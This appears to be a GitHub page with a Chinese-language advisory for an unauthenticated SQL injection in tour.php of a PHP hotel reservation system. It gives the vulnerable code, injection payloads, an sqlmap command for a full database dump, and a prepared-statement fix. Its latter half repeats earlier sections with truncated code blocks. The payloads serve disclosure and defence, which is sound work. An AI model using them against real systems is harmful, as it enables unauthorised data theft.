Xmyronn/CVE-2026-10290-SQLI
GitHub: Xmyronn/CVE-2026-10290-SQLI
针对酒店与旅游预订系统 tour.php 中未授权 SQL 注入漏洞(CVSS 9.8)的完整安全研究报告,包含漏洞详情、复现步骤及修复方案。
Stars: 0 | Forks: 0
# 酒店与旅游预订系统 - tour.php 中的未授权 SQL 注入
## 漏洞详情
| 字段 | 详情 |
|-------|---------|
| **标题** | 酒店与旅游预订系统 - 通过 `tour` GET 参数导致的 SQL Injection |
| **供应商** | code-projects.org |
| **供应商 URL** | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| **产品** | 酒店与旅游预订系统 |
| **版本** | 1.0 |
| **漏洞类型** | SQL Injection |
| **CWE** | CWE-89 |
| **CVSS 评分** | 9.8 (严重) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **受影响文件** | `/ht/tour.php` |
| **受影响参数** | `tour` (GET) |
| **需要认证** | 否 |
| **可远程利用** | 是 |
| **研究员** | Syed Imad Uddin Alvi |
## 描述
酒店与旅游预订系统 1.0 的 `tour.php` 中的 `tour` GET 参数存在严重的 SQL Injection 漏洞。该参数被直接传递到原始 SQL 查询中,没有任何过滤、没有使用 prepared statements,也没有进行输入验证。未经认证的远程攻击者可以操纵查询来提取、修改或删除数据库中的任何数据。该漏洞已通过使用 sqlmap 进行完整的数据库转储得到确认。
**`tour.php` 中的易受攻击代码:**
```
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
```
`$tourID` 直接从 `$_GET['tour']` 获取,并直接插入到 SQL 查询中,完全没有进行任何过滤。
## 复现步骤
**设置:** 在 XAMPP 上安装酒店与旅游预订系统 1.0,并通过 `http:///ht/` 访问
**第 1 步 — 以未授权用户身份访问任意旅游页面:**
```
http:///ht/tour.php?tour=4
```
**第 2 步 — 注入单引号以中断 SQL 查询并确认漏洞:**
```
http:///ht/tour.php?tour='
```
**结果:** 抛出致命的 MySQL 错误 — 证实未过滤的输入已进入 SQL 查询。
**第 3 步 — 使用基于布尔的 payload 确认 SQLi:**
```
http:///ht/tour.php?tour=' or 1=1 -- -
```
**结果:** 页面正常加载并显示旅游数据 — 布尔注入成功。
**第 4 步 — 使用 sqlmap 转储整个数据库:**
```
sqlmap -r sqli.txt --dump --batch
```
**结果:** sqlmap 成功转储 `hotel_db` 中的所有表,包括 `users`、`rooms`、`tour_reserves`、`gallery` — 确认数据库被完全攻陷。
## 影响
未经认证的远程攻击者可以:
- 从数据库中提取所有数据,包括用户凭据、电子邮件、电话号码和预订详情
- 通过提取管理员凭据绕过身份验证
- 修改或删除任何数据库记录
- 如果授予了文件权限,可能通过 `INTO OUTFILE` 实现远程代码执行
## 根本原因
`tour` GET 参数被直接插入到原始 SQL 查询中,没有使用 prepared statements、参数化查询或输入过滤:
```
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
```
## 参考
- [CWE-89: SQL 命令中使用的特殊元素的不正确中和](https://cwe.mitre.org/data/definitions/89.html)
- [OWASP: SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [酒店与旅游预订系统 — code-projects.org](https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/)
## 发现者
**Syed Imad Uddin Alvi** — 独立安全研究员
**第 2 步 — 注入单引号以中断 SQL 查询并确认漏洞:**
```
http://
**第 3 步 — 使用基于布尔的 payload 确认 SQLi:**
```
http://
**第 4 步 — 使用 sqlmap 转储整个数据库:**
```
sqlmap -r sqli.txt --dump --batch
```
**结果:** sqlmap 成功转储 `hotel_db` 中的所有表,包括 `users`、`rooms`、`tour_reserves`、`gallery` — 确认数据库被完全攻陷。
## 影响
未经认证的远程攻击者可以:
- 从数据库中提取所有数据,包括用户凭据、电子邮件、电话号码和预订详情
- 通过提取管理员凭据绕过身份验证
- 修改或删除任何数据库记录
- 如果授予了文件权限,可能通过 `INTO OUTFILE` 实现远程代码执行
## 根本原因
`tour` GET 参数被直接插入到原始 SQL 查询中,没有使用 prepared statements、参数化查询或输入过滤:
```
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
```
## 参考
- [CWE-89: SQL 命令中使用的特殊元素的不正确中和](https://cwe.mitre.org/data/definitions/89.html)
- [OWASP: SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [酒店与旅游预订系统 — code-projects.org](https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/)
## 发现者
**Syed Imad Uddin Alvi** — 独立安全研究员标签:CISA项目, Web安全, 蓝队分析